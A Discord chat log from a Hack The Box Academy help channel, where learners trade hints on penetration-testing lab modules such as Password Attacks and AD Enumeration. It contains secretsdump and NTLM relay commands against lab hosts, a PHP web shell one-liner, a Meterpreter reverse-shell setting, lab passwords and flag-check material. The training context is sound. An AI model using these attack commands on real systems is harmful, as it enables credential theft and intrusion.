[fathom pendant]

Don't argue with moderation decisions. You can read #welcome and #rules

[vague venture]

I did

[novel parrot]

bad time?

[fathom pendant]

There's instructions in #welcome to link your htb account to the discord

[novel parrot]

Sorry to bother, i sent you a DM regarding your tutoring

wondering if you got it

[tall imp]

I'm going crazy, something can help me overcome the password challenge specifically attacks the Pass Certificate session

please friends

[vague venture]

I'm afraid hacking is bad

I joined the server because I was bored

[novel parrot]

hold on

ure main account is banned, right?

[vague venture]

Yes

[novel parrot]

isnt ban evading against TOS?

[vague venture]

It was ban evade

I terminated it

For reasons I cannot ssy

[novel parrot]

hacking itself is not bad

its like owning a knife, its only bad if you use it incorrectly

but knifes can be used to cook, or to cut things that you cant normally

[vague venture]

Would you say your good at hacking

[novel parrot]

no

im trash at it

[vague venture]

Cool

[novel parrot]

i can do it but almost everyone here is better than me

[vague venture]

Same but my friend handles the dirty work while I bring in the trash

[novel parrot]

lets move to #general

[vague venture]

I'm afraid I cang

Can't*

[novel parrot]

oh alr, see this channel is only for modules, you cant talk about anything else here

[novel parrot]

whats the issue

[vague venture]

I can't talk on general it leads me to here

[novel parrot]

i can try to help

[fathom pendant]

Instructions in #welcome

[novel parrot]

i understand if you dont want to tutor me btw, just questioning if u got it

[fathom pendant]

Yes I got it

[novel parrot]

oh alr

il drop the topic

[oblique gulch]

Guysss

The db leak

How do I find it

[fathom pendant]

This isn't #general

[tall imp]

Please, I need the help of someone who has made the full attack module, specifically in the Pass the Certificate section, someone please help me with this question: What are the contents of flag.txt on Administrator's desktop?

[twilit cape]

guys after the module networking can i start with 'Job rule path :
Penetration Tester" ?

[cloud urchin]

The path assumes a base IT knowledge and strong understanding of computer and networking fundamentals. If you feel you have a good understanding of those basics, yeah I'd say go for it.

[twilit cape]

I understand networking well, but I haven't studied the fundamentals of Windows and Linux yet. Should I do that, or will I learn it there?

[fathom pendant]

you can learn some stuff but a lot of what's covered in the path has an assumed knowledge of a lot of basics

i.e. they won't tell you what curl is doing

[hardy elk]

Hello guys

Can i have an advice

[cloud urchin]

If it's related to the HTB modules on Academy then yes, this is the correct channel to ask. Otherwise read the #rules and follow the instructions in #welcome to gain access to a more appropriate channel.

[hardy elk]

I have a problem and need advice

[cloud urchin]

Okay, that doesn't change anything about what I said. If it's module related ask, otherwise this isn't the right place.

[hardy elk]

Okay
Can i ask u in dm ?

[cloud urchin]

No.

[late plinth]

Question from module: What are the contents of flag.txt on jpinkman's desktop?

Hi, I am currently stuck on the section Pass the Certificate of the module Password Attacks I try to do a NTLM relay attack, Am I missing anything:

1. Got certificate by ntlmrelayx
[] GOT CERTIFICATE! ID 13
[] Writing PKCS#12 certificate to ./DC01$.pfx
[*] Certificate successfully written to file

2. Got kerberos ticket by gettgtpkinit.py
INFO:minikerberos:Requesting TGT
2025-06-20 17:30:35,690 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-06-20 17:30:35,690 minikerberos INFO b3b4d3742c8bac77965bcace2fe3239ee06ef13b9379cd5c5faa9a3b7e797362
INFO:minikerberos:b3b4d3742c8bac77965bcace2fe3239ee06ef13b9379cd5c5faa9a3b7e797362
2025-06-20 17:30:35,712 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file

3. Save as KRB5CCNAME variable
[!bash!]$ export KRB5CCNAME=/tmp/dc.ccache

Klist Output:
Ticket cache: FILE:/tmp/dc.ccache
Default principal: dc01$@INLANEFREIGHT.LOCAL

Valid starting Expires Service principal
06/20/2025 17:30:11 06/21/2025 03:30:11 krbtgt/[e-mail]

4. Secretsdump output
python3 ../impacket/examples/secretsdump.py -k -no-pass -dc-ip 10.129.234.174 -just-dc-user krbtgt 'INLANEFREIGHT.LOCAL/DC01$'@DC01.INLANEFREIGHT.LOCAL
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[] Using the DRSUAPI method to get NTDS.DIT secrets
[-] 'NoneType' object has no attribute 'getRemoteHost'
[] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[] Cleaning up...
(Also Tried administrator and jpinkman, Nothing)

5. -use-vss also does not work:
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Cleaning up...

[twilit cape]

You think which modules need to be completed to start the job role path: Penetration Tester?

[cursive rain]

Is there any issue on the XXE and IDOR section of Web Attacks module ?

[cerulean herald]

nope

you mean in the questions ?

[cursive rain]

In the IDOR section the edit profile is not working and even the listing of documents other than the contracts option

[cerulean herald]

if it aint working you could just reset the lab but i remember it working perfectly fine for me

[cursive rain]

Yes done the reset but still same issue

[steep forum]

You need to resolve the domain controller hostname to its ip address.

[late plinth]

IT WORKED THANKS A LOT

[steep forum]

No problem, good luck!

[twilit cape]

You think which modules need to be completed to start the job role path: Penetration Tester?

[steep forum]

It depends on your prior experience. You should understand the basics of networking and operating systems.

If you don't already, you can search for modules that cover those topics on HTB Academy.

[regal bear]

during the Attacking Enterprise Networks module, the scoping document listed the /16 external range and *.inlanefreight.local subdomains... what if ip's in that range are not in those subdomains? are those out of scope? ( I am trying not to use the module in order to prep for exam so apologies if it clarifies that inside) i.e gettingstarted.htb. weird note though, after restarting the lab only the inlanefreight.local IP's are returning, the ones I associated with sites like gettingstarted.htb won't come back making me think there was a bug

[wooden palm]

I am doing the skills assessment for the web enumeration module. I have done the following:

• Found the web server that it is being hosted on.
• Found the Iana ID
  And now I'm trying to figure out the rest of the questions:
• admin API keys
• Email addresses
• API keys they'll be changing to

I have tried the following:

• FFUF in order to find subdomains -> didn't find anything.
• Gobuster to find subdomains -> didn't find anything.
• The webcrawler provided by HTB in order to find emails and such -> didn't find anything.
• robots.txt -> 404 not found
• Checked various .well-known directories according to provided important endpoints and the iana registry -> didn't find anything.
• nikto for service detection -> nothing but nginx
• wappalyzer for service detection -> nothing
• checked for wafs with wafw00f -> nothing

So I'm really unsure what to do at this point, just trying to find a site that is an actual site at this point rather than just a splash page saying "welcome to inlanefreight.htb"
Module link: https://academy.hackthebox.com/module/144/section/1311

[trim pivot]

Hi,

I'm currently working on the AD Enumeration & Attacks - Skills Assessment Part II (Question 4) and running into issues with listing domain usernames.

I reviewed the "Show Solution" hint, which suggests using PowerView.ps1 via an RDP connection. However, when I try to connect using the provided xfreerdp command, I receive an error (screenshot attached).

I've been stuck on this for a couple of days and am unsure how to proceed. I was able to solve the previous question using a WinRM session, but unfortunately, PowerView doesn't seem to function correctly over WinRM in this case.

Any guidance or assistance would be greatly appreciated.

Thank you!

[late plinth]

** After trying this Command:** evil-winrm -i dc01.inlanefreight.local -r inlanefreight.local

I Get:
Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Unspecified GSS failure. Minor code may provide more information
Cannot find KDC for realm "INLANEFREIGHT.LOCAL"

Error: Exiting with code 1

As far as I know I have to update /etc/krb5.conf but do not know how to know which is the realm I need as the module does not specify.

[tall imp]

If you can solve the second question, could you put it as you did? or send me a private message please, since I'm stuck there are: + 0 What are the contents of flag.txt on the administrator's desktop?

[sacred rock]

Connect to ssh using the option -X

[late plinth]

of course

[tall imp]

Thank you friend, if I register to solve I also tell you how, I hope you do not forget me, since I have been trying to solve that question for 4 days, and it is impossible for me

[sacred rock]

It shows how to do that in the Pass the Ticket (PtT) from Linux section

[sacred rock]

Look again for subdomains, maybe a better wordlist? Maybe a missing option?

[wooden palm]

Aight I'll try harder

Appreciate the sanity check

[trim pivot]

Thank you! The connection is working now, but it's extremely slow — it took around 5 minutes just to open Command Prompt.

On another note, I have a question about the password used in the "Show Solution" for performing a password spray. It mentions using the password W....1, but it doesn't explain where that password came from.

Could you please clarify how that password was obtained or where I should have found it?

Thanks again for your help!

[sacred rock]

I believe it came from the module material, password spraying section if I'm not mistaken

[minor hinge]

Password Attack module is really great. Not sure how previous version was but for me current version felt amazing

[gentle turret]

did they remove the part where u need to bruteforce for 45 mins or what

i loved that part

[fathom pendant]

the only section that i have a minor complaint with is the custom rule section; but that's because I feel like there can be a slight addition to show filtering for length
grep -E "^.{N,}" for min length

[late plinth]

Thank you I was able to solve the issue it had to do with resolution

[safe phoenix]

On the Password Attacks Assessment, Are we supposed to crack the NTLM hash for the Nexura\Administrator or just get the hash? I think I got it, but it’s not accepting the answer so I’m obviously missing something

[hard tree]

Hello, I'm having trouble at this point in the module Cross-Site Scripting (XSS) - Phishing. The site isn't displaying the expected output, even though I've already executed the VPN connection file. Could someone assist me in resolving this?

[safe phoenix]

Nvm got it! Wow that assessment was tricky hahaha

[junior fjord]

Hey brother I am on the same, the initial machine don't have Python then how you ran lazagne ?

[junior fjord]

Bro i am not getting anything 🥲 how to proceed further from DMZ01

[junior fjord]

Please give reasonable hint

[grizzled atlas]

hey guys, I'm getting a error on impacket-ntlmrelayx don't want to post the full error here but if someone is willing to give me assistance. Please dm

[brave scroll]

it have, you have to find correct version of python, btw haven't find any credz with Lazagne

[storm elk]

LaZagne also has an .exe

[storm elk]

You’re using pwnbox and it’s complaining about the http port 80 being used?

[grizzled atlas]

no, im using my own VM, its a error with the pksc20, i believe i can load up my machine and get the full error

[storm elk]

Ah okay! What module are you on?

[grizzled atlas]

Password Attack pass the certificate

[gloomy geyser]

I am stuck too. Not able to get admin_key

[brave scroll]

he is talking about Linux host.

[steep forum]

You can probably post the error here as long as it doesn't contain spoilers.

[storm elk]

Yeah

[junior fjord]

@storm elk hey Check DM I am facing issue in skill assessment - password attacks, i tried 8 hours but not getting anything

[cloud urchin]

Please make sure to ask permissions before DMing #rules

[steep forum]

What do you need help with specifically?

[junior fjord]

Hey I am in evil win RM no rdp open no ssh open, how can I access administrator acc I also have 🔑 password, Pradeep Singh is whenever I want to be administrator it gives me password prompt which is not supported in evil win RM

[fathom pendant]

@strong gale that doesn't sound related to HTB academy, i suggest reading the #rules and #welcome channels to learn what the server is about and learn how you can access more of the server

[rustic sage]

Hello colleagues, I have a problem running joomla-brute.py /joomla-bruteforce/joomla-brute.py", line 113, in <module>
joomla = Joomla()
^^^^^^^^
File "/joomla-bruteforce/joomla-brute.py", line 22, in init
self.sendrequest()
File "/joomla-bruteforce/joomla-brute.py", line 72, in sendrequest
self.doGET()
File "/joomla-bruteforce/joomla-brute.py", line 75, in doGET
for password in self.getdata(self.wordlistfile):
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/joomla-bruteforce/joomla-brute.py", line 107, in getdata
with open(path, 'rb+') as f:
^^^^^^^^^^^^^^^^
I don't know how to interpret these errors. I might think it's due to the version of Python being run, as it's a somewhat older tool. I appreciate your help and comments.

[fathom pendant]

self.x tends to mean that the file is expected to be in the same directory it's running from

[rustic sage]

Could you explain it to me a little better?

[fathom pendant]

if a python module contains self.whatever (in this case wordlistfile) it's expected (typically) to be in the same directory you're launching from

open(path, 'rb+') opens a file in read only binary mode

but the error falls back on the file not existing to read/open to begin with

[rustic sage]

Thank you for your appreciation

[safe star]

you can dm

[steep forum]

I don't know what issue you're having. You will have to provide specific information on what you need help on.

You can DM me.

Try again.

[flint palm]

Guys hello as I understood alpine doesn't support bin/bash

so what's instead?

[acoustic owl]

Try /bin/sh

[torn tinsel]

Hi. I am really stuck in the AI Red Teamer - LLM Output Attacks - Skill Assessment section. Found some sensitive stuff using methods discussed in the module but no use apperently. Any hint you can give me?

[fathom pendant]

Or /bin/ash

[calm abyss]

hello anybody did Bypassing Wi-Fi Captive Portals skill assessment
I am stuck at the second question i found the admin password and logged in, uploaded the reverse shell and i cannot find the directory to trigger the shell.

Common upload endpoints include:

/upload.php
/profile/upload
/attachments/submit

I also use dirb it found /images but error 301
So no luck here

[hybrid wren]

Hi! Is there anyone I can DM about the NTLM relay module skill assessment? i compromised backup01 and found a readable share but cannot find a way to solve question 3

[dark hedge]

@raw gulch HTB team recruiting posts belong in #1318239802931286066

[raw gulch]

Hey

[fathom pendant]

301 isn't an error, it's a redirect

[daring tundra]

Hi, I have a question about VMs in general. has anyone encountered many false positives when they are trying to brute force with hydra?
If your VM is low on memory, would it impact the accuracy of it?

[forest tendon]

NEED HELP ! i'm having trouble differentiating between "get-member" and "select-object" as i believe they share a similiar functionality

[daring tundra]

I think you are referring to AD. Get-Member could mean member of a Group or Domain in general, Object can be any object within AD if im not wrong

[forest tendon]

yes i was refering to powershell

in general context

[calm abyss]

i managed to complete the module

[calm abyss]

i used chatgpt to help me out. the shell was a node.js not a php.
I through trial and error i managed to figure that out.

Now its done.

[crimson leaf]

I really dislike the blind SQLi module. Is '/feedback' the appropriate way give general feedback on modules?

[storm elk]

You can use it yes

Why do you dislike it? I loved it

[daring tundra]

I think i discovered the answer, if your hardware is wonky, it will affect brute force attacks

either that or the memory loaded in the VM is wonky, or if you have an antivirus that scans the memory to delete stuff, it also affects

[crimson leaf]

I feel like it's a really easy module where almost all of the work is actually on python programming rather than getting a deeper understanding of blind sqli and how you would systematically exploit this in a real environment.

I know it's partly because time-based sqli is an absolute pain to do manually. But when a sqli module just starts handing over python code for you to make minor adjustments to, it just feels...wrong

[storm elk]

I see! Yeah /feedback is the way to go

[gray yacht]

You can DM if you are still stuck.

[crimson leaf]

Just a heads up, to ensure that people can help you please provide the module name and the section name. As a lot of us can't see what you are stuck on.

Unfortunately I haven't answered that one so I can't help.

[pliant patio]

use hashcat. the admin hash is already there

when you use the ||impacket secretdumps||

yeah. check the sample output there on the module. it was just snip on that module. you need to run it to get the full hash

kk

[sage topaz]

Hey , i need help with android fundamental modul can anyone help me?

[desert widget]

https://academy.hackthebox.com/module/115/section/1106

I got stuck in this one

Connect to the target via RDP and establish a reverse shell session with your attack box then submit the hostname of the target box.
this question

I saw a walkthrough and solved it using remmina

how to solve it without using it

[sage topaz]

I am stuck here
https://academy.hackthebox.com/module/195/section/2182

In this question:
What is the name of the function that returns the string inside the cpp file? (Format: FunctionName()).

Answer of this question is this but , it's saying in correct stringFromJNI()

[fiery shadow]

in the Password Attacks module, can someone give me the user for ssh rdp and smb? i just dont want to wait and wasting my time here. use hydra in VPN and pwnbox but same slow crack because of connection. with note this is just exercise

[wooden seal]

use xfreerdp

[wooden seal]

can u name the submodule?

[brave scroll]

Password Attack - Lab Assessment

Enumerated and Find Credential for smb share of FILE01 & DC01

• got RDP access to JUMP01
  Can anyone tell me what to do further? how to mov further + where i can find password for extracting content from psafefile?

[wooden seal]

u r supposed to crack the password of psafe file

your question?

[fiery shadow]

Network Services, i appreciate if you can give to save my time

[wooden seal]

give me a moment guys haha

you are supposed to find save password (firefox) (advice - review module for help)

its ok happens to best of us haha

[wooden seal]

my advice to you will be use the zip file you are given in module (it wont take long brute forcing using that)

[fiery shadow]

i know i use that just get the ssh, it need around 30 minute because of connection 😦

[fiery shadow]

anyway thanks for advice, i will wait then, nvm seem i found the pattern of username

[pine cipher]

Please I need help

How do I stop Facebook IP TRACKING

[wooden seal]

maybe yes

or maybe gitclone latest version

gimme a minute

python3.9 firefox_decrypt.py Using this?

it uses specific version

yea

cant figure out which module you are working on can you provide the link instead?

[subtle basalt]

https://academy.hackthebox.com/module/147/section/1356 Password Attacks

[wooden seal]

try enumerating the machien for files containing useful info

[subtle basalt]

I found something usefull in the bash history but i couldnt use it for something usefull

[wooden seal]

then enumerate again you might have missed something

review previous module for techniques

[subtle basalt]

Thank you i will do it again

[subtle basalt]

I found it thank you !!

[wooden seal]

nice

[last ermine]

Why did no mod look at my erratum

[desert widget]

Alright, got it 👍

[sturdy ivy]

<@&861185840277487616>

[vernal tapir]

Hi, Optional Excercise - Pass the Ticket (Windows)

Quick question: I can do the entire lesson with Mimikatz, but with Rubeus how can I move laterally (PS Remoting) with the base64 hashes? I'd need to use Mimikatz to dump the keys, or with Rubeus is it possible to get the .kirbi files as well? (Optional excercise wants you to not use them together)

[brave scroll]

After cracking pssafe and retriving Credential, what to do next?

[gray yacht]

Refrain from posting spoilers, i.e., password.

[subtle basalt]

its not spolier its mentioned in the question

[gray yacht]

Posting content from modules above Tier 0 is not allowed.

[subtle basalt]

where i should ask if i have a problem ?

[gray yacht]

Definitely ask here. I suggest reading through pinned content first, as it should have pins that cover suggestions for getting help.

[subtle basalt]

ok thank you i will read it

[split pine]

Hello, I'm doing the Password Attacks Module and in section "Spraying, Stuffing, and Defaults", the challenge is to retrieve the MySQL credentials using a linux user to ssh to the box. Can anybody help with a hint or something?

[fathom pendant]

the default-creds-cheat-sheet is useful here

[frail grove]

For Shells & Payloads - The Live Engagement - Host-01
I'm stuck getting a shell. I'm using metasploit, have the right IPs(172.x.x.x) set/ports, but the exploit won't work. I also tried manually by generating the correct file type using msfvenom but I only got 500s.

[fathom pendant]

is your LHOST set properly

[frail grove]

yes using 172.x.x.x

[fathom pendant]

and you used the j* venom payload using the .w* output?

[frail grove]

yes

[fathom pendant]

i'm assuming you are logged in/using the credentials

[frail grove]

yes

[fathom pendant]

hmm i don't recall running into exploit issues

[scenic current]

Has anyone done the XSS 2 exercise in Attacking LLM Outputs? I got XSS_1 without issue. But in XXS_2 the cookie I extract there is the whole conversation, not the target cookie. In the first exercise the admin goes to the site automatically, but in this one I'm not sure how to get the admin to look at the testimonials. I tried to feed it an edited version of the conversation cookie (decoded > edited > re-encoded) but no luck. I feel like I'm missing something super obvious. Can anyone offer some advice? Cheers and thanks!

[frail grove]

Yeah that's why I'm confused it should be pretty simple exploit

[fathom pendant]

try resetting the target environment and trying again? and make sure no typos with the ip

[frail grove]

okay I got it working

So you have to set the target to the correct option then run set PAYLOAD OSGOESHERE/meterpreter/reverse_tcp then execute...for some reason the default target 0 doesn't work even though it's labelled "universal"

[lament wing]

Which module should I start with

I’m new and want to really start this

[crystal skiff]

Hello everyone, I'm on moudle "Getting Started" on Service Scanning topic. I use UTM on Mac M1 with Kali Linux installed. I have a task where I need to perform nmap scanning of the target. It asks me the version of the service that is running on port 8080. I connect to vpn by sudo openvpn openvpnfile.ovpn. Then I'm trying this command: ||nmap <target_ip> -p8080 -Pn -sV|| that should scan all services on port 8080 and also give me their version. I get http-proxy service and version column is blank, port shows as filtered. So I guess it's the vpn problem and I decided to ping ip (with vpn connected) and it says that 0 packet (out of 3) were recieved. I don't understand why vpn doesn't work, I have already tried all vpn files on htb (TCP and UDP) and none of them work. What should I do?

[fathom pendant]

i'd start with the information security foundation path under the paths -> skill paths section

[lament wing]

I’m doing Coursera cert right now after that start with that one you mention?

[austere comet]

Hey I need help in Sherlock's Payload lab

If anyone has solved it can dm me

[fathom pendant]

#sherlocks read and follow #welcome to access it

[fathom pendant]

Coursera has nothing to do with HTB

if you want cert discussions there's #careers-and-certs which you can get access to by following instructions in #welcome

[proud wagon]

Hi, everyone. I'm currently in the SQL Injection Fundamentals module of the Pentester Role Path. This module seems to focus only on MySQL, with no mention of MSSQL. Is there another module in the role path that teaches more about MSSQL that I might have missed? If not, does this mean we won't encounter it in the CPTS exam?

[acoustic owl]

The techniques described in this module work for both database systems (MySQL & MSSQL)

[proud wagon]

Alright, thanks

[velvet pawn]

I am a little confused with the "Evaluating the Label Flipping Attack" module in "AI Data Attacks", in the previous module an instance of Jupyter Notebooks was provided in order to complete the exercise, however, in this one I am given a notebook file, but the endpoint that was spawned seems to just be an API endpoit, am I supposed to standup my own instance of jupyter notebooks or am I missing something?

maybe I could load one of the earlier modules and spawn the jupyter notebook environment to complete the assignment... the description of this module seemss to assume there is a jupyter notebook environment, but does not provide any direction on where that environment is, or if I have to stand one up myself

[thorn delta]

Hi guys, I am trying to rdp a windows vm for windows fundamentals. I am using a kali vm, but I can not connect with xfreerdp3, it says └─$ xfreerdp3 /v:10.129.148.76 /u:htb-student /p:Academy_WinFun! [15:28:10:875] [6622:000019df] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found [15:28:10:875] [6622:000019df] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5D -> no RDP scancode found [15:28:20:047] [6622:000019df] [ERROR][com.freerdp.crypto] - [freerdp_tls_handshake]: BIO_do_handshake failed [15:28:20:047] [6622:000019df] [ERROR][com.freerdp.core] - [transport_default_connect_tls]: ERRCONNECT_TLS_CONNECT_FAILED [0x00020008]
Therefore I use rdesktop, with the command rdesktop -u htb-student -p Academy_WinFun! 10.129.148.76
But I cant click anything on the target windows vm and after a minute the vm is a blackscreen and kali says: This Windows might be busy and is not responding. Do you want to terminate the application?
Does anyone know a fix for it? The kali vm got 8192 ram usage and 6 cpu cores
Somehow, I got it midday. Ofc I am connected to the vpn

[cloud urchin]

Try wrapping the password in single quotes

as for rdesktop, i'm not sure, maybe reinstall the app

[thorn delta]

mhm, with xfreerdp3 /v:10.129.201.57 /u:htb-student /p:'Academy_WinFun!' I get the same errors as above

Thats weird, I tried it many times with rdektop and sometimes it works sometimes not

But if I am tapping out of the windows target, I can't do anything

[lament wing]

I’m learn from here I love this discord so much information thank you

[cloud urchin]

Try /cert:ignore or /sec:rdp, or both

[twilit cape]

guys do you advice me to only do the modulle Network Foundations or Introduction to Networking and Network Foundations

[thorn delta]

with /cert:ignore same issues, with both same and with /sec:rdp $ xfreerdp3 /v:10.129.201.57 /u:htb-student /p:'Academy_WinFun!' /sec:rdp [16:14:22:984] [10512:00002911] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found [16:14:22:984] [10512:00002911] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5D -> no RDP scancode found [16:14:23:082] [10512:00002911] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer [16:14:23:082] [10512:00002911] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D] [16:14:23:218] [10512:00002911] [ERROR][com.freerdp.core.transport] - [transport_read_layer]: BIO_read returned a system error 104: Connection reset by peer [16:14:23:219] [10512:00002911] [ERROR][com.freerdp.core] - [transport_read_layer]: ERRCONNECT_CONNECT_TRANSPORT_FAILED [0x0002000D] [16:14:23:219] [10512:00002911] [ERROR][com.freerdp.core] - [freerdp_connect]: freerdp_post_connect failed
Tomorrow I will be open a prolab, if I can't fix the issue. But I will also try to install parrot os as a vm or as a second boot, since the pwnbox works perfectly.
Anyway thank you

[cloud urchin]

Are you running the pwnbox at the same time as your VPN?

[thorn delta]

No

[karmic hawk]

Hello,

[digital sigil]

Could I get an assist on
Advanced Deserialization Attacks - Identifying Vulnerable Functions
NVM

[pearl creek]

@insane_professor @w1ld__ @zeroknowledgeproof

[quasi wave]

hi I don't want the answer to this but need a hint. I am on the fourth section of AD Enumeration and Attacks module. There is literally one question. The question is telling me to find a flag in the DNS info. I am using two of the websites mentioned in the section and tried the method mentioned in the section of going on the target site's contact page and plugging the contact into into those sites. I am still not getting the flag. I also tried getting comprehensive DNS info on the target and tried other DNS gathering techniques.

Can someone point me in the right direction?

I think there's something about the phone number of the target website that may be useful but I am unsure.

wait I think I see what the issue is never mind

have to do it from pwnbox not local machine

[flint palm]

Yes it will provide with lot's of information which will help you in further understanding of other modules

[quasi wave]

wait hold on I don't even know if pwnbox is appropriate for this one

I'll get to you guys soon

he the tool it tells me how to use at the end of External Recon and Enumeration Principles section of AD Enumeration and Attacks module isn't working. I tried getting info on two websites mentioned in the section on the target it tells me to try and I still haven't found the flag.

can someone help me one on one?

also its unclear if I need pwnbox for this one or if I can just use my local host

[fathom pendant]

this isn't a hacker4hire server

[valid gull]

I know bro

[quasi wave]

hi is anyone available for DM to help with an active directory enumeration section?

I would get more specific but I don't want to spoil anything

[fathom pendant]

Then why ask about if people can find people out "if you know bro"

Lets not stoke the flames dude.

[quasi wave]

ok sorry

[valid gull]

Yeah sorry.

[quasi wave]

hi so I'm stuck on the External Recon and Enumeration Principles section of Active Directory Enumeration and Attacks module. I have tried like 20 different things. I used all three of the websites mentioned in the section and played around A LOT with the different search types in them. I looked on the target website and found a suspicious phone number but nothing I lookup with that phone number gets me the results I'm looking for. I tried three different command line tools, one of which is mentioned in the section and that one actually won't install and the other two work but don't get me the flag I'm looking for.

[fathom pendant]

Bgp toolkit was helpful for me @quasi wave

[quasi wave]

that was one of the tools I used but I will try it again

wait found it

I overlooked thank you

[fathom pendant]

#welcome tells you a lot about the server

Tl;dr: a server about the training services by hackthebox. It has 0 to do with "finding people"

No idea, and generally what you're asking for is illegal. No matter how bad the person is

[valid gull]

Wait what i wasnt asking to hack a person 😭 i was just wondering their socials !??

[fathom pendant]

Google is your friend for that ig or linkedin

If you're looking to use their public info to start a harassment campaign, that's considered illegal (even if deserved)

[valid gull]

OH NO MOST DEFINITELY NOT!! That IS illegal.

Its to find out just who they are should i not talk to this person or how i feel about them

[tall imp]

hi friends!, need help Password Attacks Skills Assessment

[fathom pendant]

I haven't redone the skill assessment yet

[jolly oar]

Can someone help me with my VM everytime i get done with installing debian it just reboots to the try/install screen and into live mode again

[crimson leaf]

You need to remove the installation media after the install.

[jolly oar]

@crimson leaf thanks i figured it out i had to change the boot order in the vm settings and put hard disk first

@crimson leaf ngl i was frustrated for a bit lol

[tall imp]

If you find out something, will you tell me friend? I will tell you too

[zenith trench]

Looking for some help with one of the modules - specifically NSE/nmap module. I believe I have found the flag but when submitting, HTB tells me it is incorrect.

According to #welcome I think this is the correct channel to ask. Or should I try in community help?

[steep forum]

You might have found a flag for a different question.

[potent horizon]

yo me too

im stuck on custom password lists section with the mark white exercise if anyone could drop me off at least the custom rules file

[gray yacht]

Look at the information you are given within the scenario and then look at the different sections that apply to the type of information.

Then revisit that section or your notes.

[gray yacht]

Help with what?

[tall imp]

help Password Attacks Skills Assessment

find out the Betty Jayde user, once inside the Betty Jayde ssh, so try privilege climbing, try searching for credentials, .ccache etc etc ... and nothing without success, I just found a user who starts with hw I don't have sudo permissions, the ip only has ssh open, there is no connection with the other ips can someone help me? I need help

What is the NTLM hash of NEXURA\Administrator?

[potent horizon]

I also need help but in the Mark white Exercise, my password list got like 1k entries and still it's too small for hashcat

[gray yacht]

You are going to have to setup some type of pivoting to reach the internal side.

[cloud urchin]

You are doing something wrong, there is no password list that's "too small" for hashcat, even a password list that contains only 1 password will work.

[tall imp]

I already intend a lot, to pivot, but I don't know how to approach this friend

[potent horizon]

maybe it is my custom rules list then since I try to find the hash with John and it never finds it

[gray yacht]

You can send me a DM.

[potent horizon]

or maybe the words im applying the rules

[opal cape]

Hey in the "Attacking Common Applications " - Attacling WordPress, none of the themes allow me to update the 404 page with system($_GET[0]); web shell. I get an error when clicking update

What gives?

[fathom pendant]

it's not as clear what you're meant to do/rules to apply but there is a link to the hashcat rules stuff i.e. c/C/$<char> to mutate the characters and such

[fathom pendant]

the http one should be correct for that question

as the module is above tier 0; refrain from posting potential spoilers

to be clear it's this section right? @zenith trench ?

https://academy.hackthebox.com/module/19/section/108

[zenith trench]

Yes that's the section.

Sorry - was trying to provide enough details to explain that I think I got the correct flags

[fathom pendant]

the correct flag should be HTB{87..26}

[zenith trench]

Yep - that' what I have submitted but get an error that it's incorrect

[fathom pendant]

if you do echo -n "flaghere" | md5sum the flag's hash should be a151bb02ba117f08d3f869c8f8efb90a

[spiral spoke]

Hi! By completing AD Enumeration and Attacks Module, is enough to feel confident to face an insane windows machine?

[fathom pendant]

1; try refreshing the page
2; make sure no extra spaces

[fathom pendant]

you'll probably need a grasp on ADCS stuff to tackle the more insane machines

[spiral spoke]

Alright and Hard windows machines?

[fathom pendant]

probably still need more than the basics of enum and attack

the module difficulty in the path generally reflect machines of the same difficulty

you'll be able to get by mostly, but there's no guarantee as difficulty of boxes is generally more tied to the number of steps alongside the actual difficulty

[zenith trench]

Did both but still no luck. Tried a new private browsing session too and still says it's incorrect.

[fathom pendant]

no idea what to tell you then ¯_(ツ)_/¯

[compact patrol]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[fathom pendant]

^

[spiral spoke]

@fathom pendant Good to know that, thanks! I haven’t thought about the reflected machines of the module

[fathom pendant]

there were no hashes to crack

there's a Get- command in powershell that is useful here

[frosty crescent]

I know it's 3 days later but you've also fixed my Error detecting the version of libcrypto issue

[fathom pendant]

¯_(ツ)_/¯

it specifically says the cleartext password

it says nothing about cracking any sort of hashes

also it could be a service account, so no direct login enabled

[steep forum]

Good to know, thanks.

[waxen totem]

restart the lab until you get it, the lab is unstable, also deleteing cos contains spoilers

[marsh vessel]

thanks

so smtp service should be running right

[waxen totem]

correct, it's just a broken lab

/feedback go complain here

[cedar void]

When running this snippet of code for this lesson(https://academy.hackthebox.com/module/292/section/3297) Did have trouble downloading the zip file ? I did

I tried manually opening the file , but apparetnly it doesn't exist

[safe star]

I just used wget there

[cedar void]

I went directly to the website and it doesn;t seemed to work. I am also running this on my windows machine so I cna't use wget

[wooden seal]

use it on the file then try password spraying

[frosty crescent]

I'm doing the Password Attacks skill assessment, managed to get inside the DMZ01 box, I can't figure out how to pivot to the other hosts even though I find credentials for another one

I tried proxychains, sshuttle, chisel, and I can get nc to connect to open ports with all three of them but xfreerdp, ssh or nmap always give me weird errors

xfreerdp for example can get the server's certificate but then it can't establish a connection

[fast prism]

i have done this but nmap got filtered i don't know how to reach other box

[frosty crescent]

